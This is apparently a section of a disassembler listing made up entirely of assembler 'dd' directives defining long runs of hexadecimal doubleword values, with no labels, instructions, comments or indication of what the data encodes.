		dd 9421C45Ch, 0F090B9EBh, 72DC0B48h, 13D5B840h,	0B74DA550h
		dd 5D1907F8h, 9C16FC3h,	0AC63AA3Ch, 35217405h, 0E8BC0064h
		dd 53AFC513h, 0D0050E78h, 8C07CE1Bh, 0E2809CBCh, 93E16F8Dh
		dd 19998003h, 0D076D545h, 3B8A954Fh, 0DB13F522h, 270B24Dh
		dd 28430306h, 2F90442Eh, 0C445C17Fh, 48A45300h,	3144DFDh
		dd 123F3944h, 0A5C9C2A6h, 681C3BB4h, 2DC048ECh,	46551084h
		dd 1C6221Eh, 988435A0h,	0F87BED63h, 0AD046ACAh,	57B9315Dh
		dd 3C290F0h, 0A85CDF68h, 84D43D29h, 887CCE00h, 0CA60CEC4h
		dd 20C931Dh, 9CC32A01h,	95C6031Bh, 0F5127828h, 0F0980E58h
		dd 73AB8400h, 0CE17030Eh, 0B821B529h, 20393F85h, 9010C23h
		dd 2F018C97h, 48B01828h, 9C3E9711h, 1328FD2h, 6961E32Ah
		dd 83D02E88h, 56F4012Ch, 0F551BBBCh, 54188480h,	0D0A0C9CDh
		dd 5621321h, 4360D07Fh,	0CD90F46Dh, 2CEDE348h, 0C2938044h
		dd 83CBDC27h, 745F9987h, 3D312D11h, 3BD41C60h, 83898501h
		dd 795E9CC2h, 15232872h, 0F843401h, 0AC4E3655h,	843C9F00h
		dd 39F7E760h, 64AB672Dh, 0C061001Ch, 0C2CEC905h, 780320B4h
		dd 976611E5h, 6310C007h, 7F4313E2h, 0BD8CD0BAh,	725C9158h
		dd 0CB8184ACh, 7F21DCF5h, 0D1F859A9h, 112184Ah,	5F78932h
		dd 2955E3B3h, 0EE61046Ch, 0BD0BB9C1h, 0D2635985h, 38A49E6Ch
		dd 1F0E608Dh, 9C889F32h, 603E038h, 92E45E1Fh, 42E21116h
		dd 0CC4F78A0h, 6D069D9h, 8E23EF43h, 331F0F01h, 304812BAh
		dd 7048851h, 40A41F00h,	23453368h, 6D59105Dh, 4F241774h
		dd 0CF23483Ah, 9E95B600h, 21F9CA5h, 49A8793Dh, 8F058425h
		dd 74E49416h, 0A45D130Fh, 26D70518h, 39386B22h,	0DF4C0340h
		dd 0A0DE571Ah, 400D49B9h, 215AF466h, 9A29A8C1h,	513900FFh
		dd 0CECA858Bh, 12126CE9h, 4440CD7Dh, 24BEA0F5h,	485C00AEh
		dd 6315CEFEh, 0A501AC51h, 292D178Ah, 0AC72DB80h, 0D47C084Bh
		dd 7802318Fh, 257FE078h, 14036DBEh, 3100CE7Eh, 71611306h
		dd 0E24F7A8h, 45521F2Dh, 688A6E00h, 8454F510h, 5A0090E0h
		dd 0B9955C5h, 14030A60h, 9CE1D9EEh, 0D195273Ah,	0BD05E41Eh
		dd 0C2505E66h, 44E46138h, 2E902A5Ch, 9003E016h,	404CA17Dh
		dd 2061F431h, 29004A2Dh, 0CCE0F4C3h, 0C06E5A37h, 573826A9h
		dd 7F0984B4h, 84A485E8h, 0A610554h, 0F701F497h,	496E448Ch
		dd 84971201h, 80E9610Bh, 0B0775F0h, 0E5CE02EAh,	0DB1DA460h
		dd 819FED90h, 2490C14Ch, 34F88DF8h, 2E4932F4h, 6D233Ch
		dd 0B88D69B2h, 301B73Fh, 425D769Dh, 203C0159h, 0A9D55407h
		dd 0FC1D0BA8h, 96804C91h, 1C4BB77h, 0AE452901h,	2151B995h
		dd 8508097Ah, 0E0AFECB7h, 0BA16FB2h, 0E2FDCE01h, 29163458h
		dd 50B4524Dh, 89AB205Ah, 7220CCB0h, 5F230BCFh, 0C40E949h
		dd 0A7179C09h, 8B6E8A5h, 0FE9D363Dh, 7AAE014Bh,	21153A8Dh
		dd 7F54011Ch, 0C4E86C72h, 0D4810B34h, 0F7C05F56h, 0F04B46D2h
		dd 0AEFAA1h, 3805140Dh,	31494472h, 0A47A5E44h, 948000F8h
		dd 48D40975h, 0C01D017h, 6F0A4591h, 0FEE4136Ch,	22EA4EDDh
		dd 3CE012CCh, 4925BC34h, 0B21809C5h, 4080F4C0h,	9E2F2942h
		dd 2B020300h, 0A8B7A213h, 62E325ACh, 6743B851h,	691EC8D4h
		dd 0A716003Ch, 0E8059643h, 0EF38CA61h, 0CC762E58h, 788EF404h
		dd 4BA290F3h, 2B6A530h,	0B9BA19DBh, 44F8B531h, 4502DA18h
		dd 3E3DF029h, 0BCAD4EBh, 0ACD910F8h, 51025D07h,	0BFAA2190h
		dd 12760064h, 93A14C7Bh, 0E9176558h, 40090CE2h,	1EC44A2h
		dd 35E167ECh, 0C44950CCh, 6A098EACh, 514523BCh,	95D9700h
		dd 1C025195h, 10C12233h, 3118079h, 11619A93h, 0B8D68236h
		dd 5E60185h, 0BCF674F0h, 495E04CCh, 0AC609575h,	9C38C90h
		dd 7180F79Bh, 95E8F78h,	56001B88h, 2589D420h, 3A576D06h
		dd 28820BB7h, 0CC7B50CEh, 378B84DCh, 0BCF29Ah, 4107B67Ah
		dd 22943C29h, 659F4700h, 28DE5F0Ch, 94FE75EDh, 9203804Ch
		dd 0CE05550Dh, 2E34Bh, 207BF573h, 0DE4226BCh, 0A717B7A0h
		dd 594D4702h, 806196A3h, 0FC2A12BFh, 0B2511C26h, 3C49CA73h
		dd 1E68B84h, 77F538A3h,	80842A59h, 550C8431h, 5864943Eh
		dd 8400399Ch, 1F0A74C3h, 3E02236h, 0B92AE34Bh, 0E90CDB99h
		dd 1A730147h, 12B30B95h, 0ECE0252Ch, 9B07D383h,	0E0556DDh
		dd 6410C789h, 1020604Fh, 9D51125Fh, 9A004A37h, 0D23C0040h
		dd 6F38D9F1h, 967D3277h, 7422062Eh, 47467Eh, 14C10108h
		dd 983093ECh, 33373D2Fh, 25CD8F84h, 0B228F3CEh,	27F530C9h
		dd 0A0402AE5h, 585FE5CAh, 16140038h, 4F1EC1A3h,	0CE2F8398h
		dd 9BF44081h, 4BB92461h, 2CE5C96Ch, 0D46077E4h,	0E20E1CB5h
		dd 573DCD54h, 7B2D1421h, 0B98D2868h, 25AC38B1h,	21CC403Dh
		dd 76F30355h, 0F4EAF5A8h, 6869A6DAh, 63DF10E1h,	0A04A3BE7h
		dd 53863985h, 79680D6h,	2177CD5Fh, 844370C9h, 3417CF0h
		dd 69D9F5CEh, 2C522C0h,	0F8552095h, 38C046B0h, 0BC86611Dh
		dd 0FDDC8278h, 9A03D0C1h, 888900DDh, 7A787319h,	8131A93Eh
		dd 0CCB18096h, 69446008h, 18E895A2h, 0B4007816h, 44E9C57Fh
		dd 90828622h, 0F5232CDDh, 49A8023Ch, 94808595h,	0E011EDD6h
		dd 5974A0A4h, 0DE0D2086h, 0A45D0B01h, 2B5E7AD8h, 7460EF21h
		dd 38B8072h, 40078D2h, 0BE09985Ah, 0D7F8A889h, 9198BE9Dh
		dd 0CB87803Ch, 0B4925D0Ch, 901858C0h, 7173CB01h, 7D112A81h
		dd 7B983Dh, 3C4F8228h, 495D07F9h, 0B840552Eh, 0CD0854A6h
		dd 59DA047Ah, 5A3782BAh, 93FD5CC8h, 17BC0E40h, 44827D51h
		dd 0C1AE8958h, 5371C0h,	95FF855Bh, 0DB9EF835h, 0A90D32C0h
		dd 1C6BB867h, 9EE60E2h,	0DC65DA01h, 1D60C5E4h, 55F42B1Ch
		dd 0F9BB5E00h, 35EDBF06h, 134BCB9h, 0C228ACE3h,	0B5CF4087h
		dd 3269FD61h, 11901DD8h, 0EA9880D3h, 0A4623851h, 30F5FAB8h
		dd 4270B791h, 1092A561h, 0B9AF5609h, 0E4F4C5D5h, 515760D0h
		dd 27EC0228h, 0D5EE80E7h, 0A7245C50h, 8108A420h, 9D5D01D4h
		dd 0CCADED86h, 0A090FBA9h, 914F5921h, 0A12702B3h, 60DF8ED9h
		dd 84E3A56Ch, 91B41595h, 641F80CEh, 5F575D6h, 3889F856h
		dd 5D700358h, 88123BB7h, 5CB246A5h, 0DA2E5122h,	15444404h
		dd 0C1F80B2h, 0A5AE802Fh, 0E1D902E9h, 18A9E200h, 985CBA96h
		dd 9A340835h, 4E38DDE8h, 70C2349Ah, 0AC805A8Dh,	0CE019D41h
		dd 5F80397Bh, 6103131h,	0A740C7B0h, 703802A1h, 0A30CB10Ch
		dd 5B5CFBE6h, 0F86E8ED0h, 0F672B602h, 836978FCh, 9C8DDE8h
		dd 52654989h, 0C78520E8h, 0BD061684h, 23743ED5h, 480124Fh
		dd 27755F8h, 0F815CD5Eh, 94424CC8h, 2F414C3Ah, 2951C460h
		dd 0F0038150h, 4082978Eh, 804F752Ch, 9B6976DBh,	55300230h
		dd 0B27D0486h, 3073F2A0h, 94FA0ABFh, 1EE080E0h,	8DED5512h
		dd 0DA9BE845h, 0AD270FCh, 3305BF0h, 0DA57383Ah,	0E88D1126h
		dd 210E74A4h, 0D65022Fh, 98D4540Eh, 3387218Eh, 7454BC5Ch
		dd 1397A0A4h, 0FD59F010h, 0ACAD00A3h, 0D6BB212Eh, 3395D47h
		dd 84132D8Fh, 33611418h, 2E55F084h, 9EC02499h, 2E88843Bh
		dd 32FC4EF2h, 2F301040h, 55121184h, 80D2880Eh, 6A8437A2h
		dd 0EC4A19C4h, 0B83A0034h, 0A61C7523h, 185538C9h, 0E63EBBE0h
		dd 8173EA51h, 0E0243029h, 13B45688h, 0B4DD49A7h, 0BA0C3A3Ch
		dd 10899D31h, 1029788Bh
		dd 472E951h, 1E8AFD56h,	610004EAh, 5DA44D6h, 0BC34B4h
		dd 0ED88EC8Dh, 1052721Ah, 95212098h, 0C8DA905Eh, 3038A841h
		dd 0CA695A91h, 0B866F4h, 0E989D4EEh, 0CAA443D6h, 747120C5h
		dd 57070713h, 8959BBCAh, 9D045629h, 0B6096006h,	0F1DBE851h
		dd 3D58B104h, 0C5B117CEh, 0C6EE143Ah, 0BE010DF4h, 0EC68AD11h
		dd 0D73EA149h, 0AC8F2C7Ah, 142A8601h, 0D0485CE3h, 67C20134h
		dd 2276D23h, 206E2B7Dh,	56790302h, 2460055Fh, 1E89D171h
		dd 23202F2Ah, 0B39D0072h, 3167CC9h, 0B7E5C613h,	4BB904D1h
		dd 0AB4A5908h, 804BE0C9h, 73C0C888h, 2F5E5D9h, 12DD78E7h
		dd 0C860368Ch, 3080CC69h, 93E013A4h, 4D5404C3h,	2228A2D2h
		dd 8F04148Ch, 5AC44C56h, 3DA44C2h, 21F8B4h, 22140755h
		dd 0C3B956FCh, 7A7D3117h, 28D1E435h, 0F8BF9469h, 0F50CAA0h
		dd 0C88491FCh, 0B8A07180h, 90C20529h, 853A138h,	0B68EE45Ah
		dd 48B529F5h, 86730D20h, 0C4B4D14Ch, 0FCC837B5h, 74CB431Dh
		dd 15ECC9C0h, 21C3C39h,	564EF52Fh, 50B15EE6h, 0BC28106Bh
		dd 6DC0C487h, 207B32CFh, 0DAA9B601h, 0BF75580h,	857C6EF4h
		dd 81351086h, 2D947248h, 1154171Ch, 0A0B18051h,	50D7DB5Eh
		dd 44E1D494h, 0DD7D2E48h, 0C791A893h, 88031E12h, 61185D90h
		dd 0FD3845B5h, 2EF51FC5h, 0F7302A6h, 0BC820B33h, 2F204B85h
		dd 93B8DCEh, 6D1159BCh,	0D08EEC10h, 46E0FF44h, 0E8E048DAh
		dd 661F8CC5h, 6B808FD8h, 0FC2ABC5Eh, 7DDD0C27h,	0BF29E37Ch
		dd 0EED9EF02h, 44BBF34Eh, 20B46C8h, 18B9708h, 88C727h
		dd 0D3971047h, 0BC052B28h, 0CFF034F9h, 41C6F82Ch, 0FD5C413Dh
		dd 7DD822CCh, 908C4640h, 4608248h, 98EDEE88h, 80013116h
		dd 0BE7FDC5Ch, 4B6EC09Eh, 7D64E857h, 61084AEh, 8C88D546h
		dd 311F0DC0h, 0C22221BAh, 2004D91h, 0BDE01F05h,	0CB00D447h
		dd 3905797h, 0CF7E0F94h, 4901DC0h, 0FBB2595Fh, 0F910B414h
		dd 0DD7416D5h, 78C870CBh, 0F1150DC0h, 70080455h, 0BE943726h
		dd 85F69C04h, 497437AFh, 98400076h, 58208E49h, 0D70B86D3h
		dd 2CB0C375h, 98ABC79Ah, 7EB900CFh, 0B2072813h,	1CE7C171h
		dd 0ACC44C90h, 6A410001h, 870E0CF9h, 3300233Ah,	0B507DA68h
		dd 2D08D283h, 2C247D59h, 48E9A2h, 0AD1DA7BBh, 5ADA5CB8h
		dd 0AA58203Eh, 1500DBCCh, 51423681h, 0AACBBD0h,	9DAFAA9h
		dd 870C45C8h, 7AED40A5h, 0FF5B4D28h, 0E5F9442h,	8440E032h
		dd 8D8C1209h, 15FC0902h, 179FCC78h, 87D19118h, 85D3B91Ah
		dd 0E12CE0C7h, 32F901FCh, 7C30209Ch, 26C03078h,	0F6EF8F12h
		dd 9E180B6h, 0AA58F03Dh, 5A396313h, 1275E408h, 21508D87h
		dd 72CDA8h, 554190h, 0E279CF0h,	0E24A22D5h, 0BCB40400h
		dd 5F865D69h, 67F112FBh, 8088DB5Eh, 39220DB2h, 5E0B01AEh
		dd 7810B8CCh, 4624688Fh, 495F09ACh, 29F4A285h, 0C5AC6D1Dh
		dd 597C801Dh, 0A45C85CDh, 7FC20158h, 0C8EB4FABh, 0B4473FF4h
		dd 0CC465E58h, 959C91Fh, 0E0F94224h, 0A18D079h,	0AB770604h
		dd 4EBB227h, 0D8890Ch, 53542845h, 80A34883h, 8658E30Dh
		dd 0FCECF4F9h, 1527C97Ch, 5C727Eh, 32518BF9h, 0C5B39346h
		dd 0B7DBC03h, 0A034ACE3h, 3094CF5h, 4044309Dh, 37886105h
		dd 0E14C7902h, 8C76E8B4h, 2D4B201h, 9B5EE9F6h, 9A00EC22h
		dd 0C4C204DAh, 3D1E054Ah, 0B1D85D65h, 1D22612Eh, 1DEA0254h
		dd 5F9DD65Fh, 0AC954354h, 10E03CA3h, 0ED27CDADh, 78C0C9CAh
		dd 0ADE17C26h, 0A919FCCBh, 0F803B209h, 0E460E5B6h, 479560D0h
		dd 90B84B7Fh, 8B786EC0h, 0FEEC10B7h, 85D40040h,	20F906ACh
		dd 5E00DE2Fh, 9A56F613h, 96F50812h, 0AF348720h,	0F2011020h
		dd 910004F1h, 0E228A421h, 9256987h, 1693B76Dh, 0CF11CCF6h
		dd 3D0FF00h, 17CA159Fh,	75025D0Fh, 683B20F1h, 7F3776AAh
		dd 0E404B792h, 0F2F4E2D2h, 0B9D430C9h, 27D88F38h, 905110h
		dd 338E6384h, 6A00E266h, 318FC4F7h, 0EBDA17h, 0A5AB5D58h
		dd 0B60D1FE6h, 49935917h, 702F1417h, 0E900C923h, 0B9232E36h
		dd 986D28EDh, 0C9F512D9h, 610425DAh, 296138E0h,	0F5C3D18h
		dd 0E2176996h, 0D4CA23BCh, 76465EECh, 8A8332Ch,	1938D5E9h
		dd 0D21001DCh, 0FDDB4500h, 0C021444Bh, 0C8CF048Eh, 155FA35Dh
		dd 8420030Ch, 8AD7DA80h, 0E49D0E72h, 201F07E0h,	0C3663590h
		dd 0E61202EEh, 0BC8C0CDAh, 0C7D038EFh, 8B03DE01h, 4006DB44h
		dd 412F2120h, 3012D30Eh, 0C4080298h, 7984594Ch,	24A1871h
		dd 0B2730F0Bh, 5CA1B5B7h, 7C1CB9EAh, 8C47B844h,	0B59D7303h
		dd 0B0EE592Dh, 2C20BEFBh, 0C9340B5Fh, 0D211941Dh, 5A1AF280h
		dd 580762B6h, 7DAA24CEh, 0BCF14Ch, 0F793DE27h, 0BB3C57C7h
		dd 54940800h, 0AC31D311h, 81FD13B4h, 220E8DFh, 0C5EDBED5h
		dd 928CDCDEh, 3F04F106h, 0EA00AC6Eh, 7CDF4D98h,	0DD00B339h
		dd 4290B81Fh, 99C5CFCh,	8977FA4Fh, 260090E4h, 0B1E6B8F7h
		dd 159148h, 977C1F9Fh, 552FFA35h, 0EA00109Fh, 73A713EEh
		dd 6FC21F5h, 0B08F20CAh, 8E258AF2h, 0EE74A0A1h,	4EF8491Eh
		dd 0FF0C8DBh, 74D982h, 333A0441h, 0B95491E7h, 2F0113E0h
		dd 0E1D1A967h, 8C603287h, 41080038h, 22055923h,	855A0115h
		dd 5023A02Fh, 45793700h, 76723CB5h, 3C74F931h, 5E92048Fh
		dd 0A4562151h, 0CE3C998h, 14568A7Eh, 83007410h,	5F140AD4h
		dd 0D65AE9CDh, 2AE0C422h, 744674FCh, 5D3B7E00h,	8FFE50D7h
		dd 8D28D40Ch, 0FD984Eh,	0A59CFFB5h, 0B756FC3Dh,	14D71C24h
		dd 32801311h, 46550D84h, 9DD1448Ch, 58843A1Ch, 0BC920381h
		dd 162BB128h, 0B21C12C4h, 0C0A8F7D0h, 3672F6E8h, 0CA8FC21Fh
		dd 0EAB922C4h, 0A110E4FCh, 0C23C5088h, 13E2780Fh, 2110F853h
		dd 43D10330h, 0FDB585A8h, 1288E88Dh, 7F00699Bh,	521856ADh
		dd 705C5038h, 93030B83h, 149DBDFFh, 0C7827111h,	0AF605DA1h
		dd 0EAE0A6FAh, 0DCE49Fh, 0BF784C2Dh, 0A08C8666h, 7DC45E13h
		dd 0AE051804h, 441100A4h, 10C40C61h, 30175B91h,	0E60F5514h
		dd 9F760D06h, 0C26142D2h, 3BD4E2F0h, 8107C56h, 8C4DFCh
		dd 429DC059h, 573E619Ch, 0B74E2498h, 70B90C44h,	0C02254F2h
		dd 84A47E5Ah, 850C00B7h, 0CE833A44h, 0F81BEC1h,	0C6754888h
		dd 0AD49A802h, 0D17D005Dh, 0D50FF5E8h, 3729BA33h, 0DE7C1482h
		dd 0C0976B14h, 2D80D091h, 0EEED6485h, 0A1A92212h, 3B449890h
		dd 2D05039Bh, 0C5691A3Ch, 4A6F75B8h, 0FF577600h, 8ADE9CE8h
		dd 387777C2h, 85037291h, 7BBAED28h, 6C8DB7A1h, 8CC8BCD0h
		dd 0AB457300h, 1683FF9Dh, 38E326A0h, 0E7B96070h, 9A0F6701h
		dd 0C5861D6Ch, 0B0B28F5Ah, 0B4229912h, 0CD72552Ch, 0C132094h
		dd 0B35A80F3h, 0F1245054h, 6D093E40h, 7B183681h, 0DB7FF402h
		dd 0F1D8D1DDh, 0E4F018C6h, 5812FAFFh, 1403077Fh, 0E161EDDDh
		dd 4972981Ch, 5EFCC06Dh, 0A1649892h, 3B2E3C2Ah,	6E2360h
		dd 0DA5480F4h, 0A805333Bh, 0AB0B57A9h, 771050E8h, 0C09088D4h
		dd 0BA2D1F11h, 6CCB024Fh, 1F09FE07h, 0D0C0FFA8h, 0E5606763h
		dd 1042D12Fh, 83723D28h, 5A37CAC8h, 0CC89D42Ah,	6EC3B112h
		dd 0DCC28844h, 0BC8C0013h, 925F84A5h, 2938C89Eh, 74D17C42h
		dd 6B004F18h, 0A90D0C4Bh, 131DBFC2h, 0F0F9BE01h, 290561F0h
		dd 0DE0F2A16h, 77F2F0B2h, 987230h, 0D484554Fh, 7FF5F842h
		dd 0B97021C7h, 0C3BDE0CFh, 55BB14Bh, 0C803B327h, 4309AEE6h
		dd 7B54719Fh, 2EB460D4h
		dd 2C8197F9h, 0E29B9417h, 6494484Ch, 0C54656h, 95DB4BCBh
		dd 290F193h, 117231B5h,	0F851D60Ch, 0CEBB1C00h,	0F7DE820h
		dd 723BFC39h, 0B1DCB921h, 94C6C0Dh, 45A6EB0Eh, 6046E410h
		dd 1E7BABBh, 504BDC2Bh,	2111C2BEh, 9017F3B8h, 50F44C82h
		dd 0BAE040ADh, 63D15919h, 50EAF418h, 0C68916C0h, 0FCC4C069h
		dd 6004A826h, 0F75B619Bh, 0F36412FBh, 3075E204h, 70987907h
		dd 0DC9D2B01h, 35CD54ADh, 0EB9012FFh, 0F810A8D9h, 990F8CCAh
		dd 986D615Dh, 0B5A4A1A8h, 6EC47402h, 691144D4h,	3227FC03h
		dd 34C52E61h, 88AC8BFCh, 9D65C1D3h, 228062DBh, 615A09EEh
		dd 40916935h, 0D4340241h, 2F2316C0h, 6D23F4h, 62C64087h
		dd 0BF09948Bh, 8235DC9Eh, 823910h, 0AB8C0983h, 30C34E4Bh
		dd 4CF8BEB5h, 622710DFh, 30B574F8h, 407DBED4h, 0BB0130BAh
		dd 0B723161Fh, 0E0621CCAh, 36304CF2h, 0AD32005Eh, 7FC79221h
		dd 0EA0BE5FDh, 9D433364h, 80CE11C4h, 0F997704Bh, 0F0055CABh
		dd 0F8812h, 0F7552090h,	4098FD65h, 0F8FF2E28h, 7F09D301h
		dd 179A1A5Dh, 216D4993h, 0E2516084h, 8FE87F00h,	0B2CD1C59h
		dd 5A840219h, 84441129h, 5B98644Dh, 77C858CBh, 7E6AFCC0h
		dd 0B45D0212h, 7C938AF5h, 0CA889155h, 0E07999ADh, 675F269Fh
		dd 0E024D400h, 5E9A0F0Ch, 57DC0159h, 0E13887E6h, 273181AEh
		dd 0C0676C49h, 0A37EB041h, 0D546E047h, 915D0021h, 4B7766DCh
		dd 0EA0492E6h, 0DE2F9A33h, 8962E304h, 8F1440E0h, 7309A577h
		dd 1180ED51h, 98473F58h, 900A8F58h, 0B5CD58E2h,	0F10809DFh
		dd 61100034h, 64398607h, 1AACC401h, 0B099BF5Ch,	17F64864h
		dd 0C035F556h, 2161BA10h, 4CB45E5Dh, 5FE020A0h,	88F0CF17h
		dd 8E5BC047h, 4F1C7978h, 0E71331E2h, 40FE7806h,	44ECA768h
		dd 12967C6h, 6DFEF142h,	53034E0h, 0A9C1B9F6h, 7F9088F5h
		dd 0A895BD5Ah, 81ACF014h, 0D735C683h, 0BA2AC007h, 5112A50Fh
		dd 54005F45h, 0AA0313D1h, 5E58BE3Bh, 5B1D4746h,	6217800Eh
		dd 5F3F980Fh, 4B3C42Eh,	4091E59Ah, 8072BD84h, 59F0385Ah
		dd 0A23AA92Fh, 2C00160h, 0E4671585h, 4667344h, 1E3ECD02h
		dd 5844AD36h, 2F1A4AC0h, 0C42350h, 0D33F59C0h, 0A0514F6h
		dd 0F8F4B895h, 47C1CAAh, 7CA99B5h, 4E1A230h, 0C8888B1Ah
		dd 0BD03C219h, 24752528h, 127C01E0h, 0E8B4E997h, 1C67310h
		dd 0D9C94CD7h, 61DB0A05h, 0B7D59Ch, 402561B6h, 0CF0BDA74h
		dd 0DA31728Ch, 0BC280164h, 4DED5794h, 593180E2h, 0D99EDE04h
		dd 20DC908Dh, 617D9024h, 38C017F8h, 5ED0E6D2h, 0A35C0336h
		dd 9D9387AEh, 6E2E41A8h, 66D5590Eh, 22811803h, 0BFB0831Fh
		dd 0AF253AB3h, 0B079C1h, 1161DDFh, 5D252957h, 0DC486849h
		dd 71F42FEAh, 0AFECC52h, 1490435Bh, 5B0242A1h, 8081E85h
		dd 103315A0h, 0D626C223h, 41502E10h, 17D8139h, 0D8D5D556h
		dd 8D415984h, 0CAAE0759h, 71DDE192h, 18727970h,	0A7F8EF0Dh
		dd 0D83B5CC3h, 0FFB5200Fh, 89CD5FA1h, 3C232BC8h, 0DCCFA441h
		dd 0CC37588h, 4929F887h, 32B8C36Fh, 81B9A7CAh, 0EC606880h
		dd 41018CD3h, 31C3D5F2h, 60396EF9h, 0DCE8BE08h,	35295D04h
		dd 2D12D4F2h, 8E7CB8DEh, 5A049008h, 0ED6AF159h,	0DBC11594h
		dd 423E137Ch, 6497E820h, 0BB70CFB6h, 0B0BF8490h, 0C150D742h
		dd 5CBC892Fh, 0E66080F4h, 3A7CBDFCh, 5B3DA625h,	91F370C0h
		dd 0C8A1A627h, 35ED4Ch,	718168B0h, 0E290CFDBh, 0EC94595Eh
		dd 990040B2h, 1EB7F29Ch, 0AE2F315Fh, 0A054E8FBh, 0B99D3D81h
		dd 3B846990h, 6599BAEAh, 54817A79h, 0C4CC52A8h,	0F0B1B774h
		dd 3014479Bh, 0ABD4C730h, 9D098400h, 233433EFh,	957C0029h
		dd 1C9BFE21h, 952B55h, 4E9A3CC0h, 0F6A498FBh, 1AD78250h
		dd 790C7138h, 30C218CCh, 98D862E1h, 9A3072FCh, 4A2D21E0h
		dd 9F922619h, 0C77C0006h, 81BDFD61h, 20D2A54Ah,	0E0DCA979h
		dd 415949F0h, 20784639h, 1147E532h, 0DC4CF4A8h,	261CE2E8h
		dd 6007A20h, 2D515A25h,	14BCA45Ch, 845367C2h, 40E41510h
		dd 496519ACh, 0CCEDCD99h, 0C315D14h, 21EE0313h,	0A71F6DC8h
		dd 5FB02110h, 0E2AB149h, 0B3B78354h, 28734EDCh,	0C8292491h
		dd 0D5540F30h, 64ABA53Dh, 830438DAh, 5F8D4BD3h,	963AFCE4h
		dd 51CE846Ch, 700B09ADh, 0CC9920F0h, 160B715h, 0C2912B0h
		dd 1E320CC8h, 246EC3EDh, 27A31FA4h, 0D064F8E7h,	0E48D2260h
		dd 72CAE70Ch, 82D38149h, 108BB8C1h, 0CC88E87Fh,	311844C0h
		dd 7151DC88h, 52F3061h,	5F2138A8h, 56340C04h, 3BBED4BDh
		dd 0CD2374h, 730A98B7h,	0F430BE47h, 14457187h, 5570122Dh
		dd 0E9300463h, 213A004Ch, 9548CC30h, 0C8790CE3h, 1397CA40h
		dd 0E141F557h, 0A4D26E5Ch, 704CFB43h, 643B90AAh, 558E00FAh
		dd 5E2CE032h, 41CE2A63h, 9D7D71DCh, 0FDB4C080h,	249CC3B5h
		dd 5604D511h, 0E2B6150Fh, 9DA1280h, 4C334A4h, 0FBA10B9Fh
		dd 0B2E0F3D5h, 9B73304Fh, 571C867h, 0A23788B0h,	0F9C900C3h
		dd 0A75B3111h, 35036204h, 0A1443428h, 48410738h, 3041B25Dh
		dd 0CBDFC7C5h, 1D608B00h, 0D7881AA1h, 0E6573DDEh, 97593809h
		dd 534829h, 2E24AE70h, 2263C4h,	5CD9D7A6h, 0DD01E6CCh
		dd 61BA6F2Ch, 474857Dh,	1A0628CDh, 0E42348E0h, 939407Ah
		dd 34FE8501h, 0F4F53253h, 0DC3CC8F2h, 8AA8C858h, 0A4EC8612h
		dd 8CC9F8h, 889EBD63h, 47F5B9B5h, 44C8495Eh, 0BA5B0053h
		dd 122F84EDh, 0E5002587h, 56D3084Bh, 37F817Ch, 0AAF7556Ch
		dd 0C1DD65BEh, 35A166B4h, 79982334h, 0D449134Eh, 49AA0929h
		dd 46023D7Ch, 41B0DE2Bh, 0E55C28E4h, 0B7E5D873h, 6244CF01h
		dd 0DE259A75h, 2987A6Fh, 3A220F87h, 0A098F514h,	0CB80D33h
		dd 21375880h, 0DC702F00h, 4E7B07E9h, 0EB270B14h, 0E8E1680Ah
		dd 0F8BC7819h, 0CEE68C51h, 8B83FA3Bh, 9DDBA592h, 806E11A0h
		dd 0EA35503Eh, 6F77014Eh, 79B94DE3h, 0D0202E1Ah, 0A048D7B3h
		dd 0A02FE7h, 8AEBACCEh,	910ADF9Dh, 97D44B01h, 0B7A1CCC6h
		dd 0BB84812Ah, 5C59F551h, 18822D0h, 80794BEEh, 0B159FC20h
		dd 10552005h, 64E51F3Bh, 54109DEDh, 0BF4A51FDh,	207B501Dh
		dd 7425515Fh, 886E3Bh, 1BCA3430h, 2FB95606h, 0D0A0F4F3h
		dd 1D49BC3Ah, 8D07B4Eh,	0D6B06DBEh, 765CA0B1h, 85A6273Ch
		dd 0E60BB8F0h, 46AA089h, 2D52B48h, 0F0ED31BAh, 3C4D2604h
		dd 330F02FCh, 0A85E7E13h, 0D4E6481h, 0D9F420D7h, 6EE33A92h
		dd 36497C80h, 94CA41A2h, 0B844BDh, 9E55659Ah, 0D3341761h
		dd 4158BD09h, 53A07454h, 0B884E8CDh, 0A2098CD1h, 0A0C5F555h
		dd 78831BC8h, 7ECB1BF8h, 4A829D7h, 21005D49h, 0B69A1CADh
		dd 5BF63527h, 0A99841F4h, 0F8B9C1EBh, 0BB0FCAA5h, 40BAA896h
		dd 7D97CCB5h, 64609D34h, 7A274408h, 0C0C4CDD1h,	0FB926E70h
		dd 320C8898h, 2179F65Fh, 0DBB0301h, 0A1733F3Ah,	7E6B8DC0h
		dd 95F27C02h, 0DC3BF178h, 0A83401D8h, 6968B929h, 757C0BC4h
		dd 0CDE0B2C7h, 800FE1C8h, 127BC8A1h, 102DE425h,	0EE5618h
		dd 1AC4B1A8h, 0E586F65Ah, 59CE0208h, 0E7300E3h,	0DF80C228h
		dd 2590235Ch, 0D47042E1h, 7401DC90h, 357B314Ah,	4DC91A6h
		dd 189E4C0h, 7740FF54h,	3D32BFBDh, 94B8E0h, 0F6EE3CF0h
		dd 0DE44904Ah, 0AF31C312h, 0F72060CCh, 0CFE22473h, 78226A30h
		dd 826091Dh, 828B2Ch, 0AC0185CDh, 107FA9F5h, 9D10E448h
		dd 0D7DA0288h, 72517293h
		dd 4498B7ECh, 992028BDh, 0AB0B2452h, 8F8E90D8h,	646DE959h
		dd 290CFFD8h, 0C43890A9h, 2092102Bh, 0C7865D2Fh, 60C76404h
		dd 6B6E145h, 0DE2D8CEBh, 8BE89EAh, 9C01A413h, 0D6457DF4h
		dd 23583A6Ah, 4AF80175h, 7E9D613Ah, 0A7BB0091h,	7C40984Dh
		dd 96046F7Dh, 74D86810h, 3E00D146h, 7FCA2CB8h, 1371492Ah
		dd 0ED3F56ECh, 52D45245h, 80F51868h, 6EB8A9h, 941EBBF2h
		dd 0ECACC01Ah, 8E6F3100h, 0FDF51040h, 3068BF41h, 1380C5B5h
		dd 83D40184h, 15CD5F8Eh, 0D4217FC0h, 390242E5h,	8AE1C060h
		dd 0D82F8681h, 902F58B4h, 3E04689Ah, 0DF550074h, 19B927FCh
		dd 2A087E06h, 8DDE5638h, 0E0B107DAh, 1A126022h,	8C40BC29h
		dd 0A3FE3021h, 2FD613BBh, 3824A4C9h, 18CC624Bh,	550D058Bh
		dd 21B5F9EDh, 75D988h, 0BD6DD5ACh, 0F40C64C5h, 687982h
		dd 0D1082085h, 0ABA8753Bh, 62B4A627h, 91E0974Ch, 5BC9804Eh
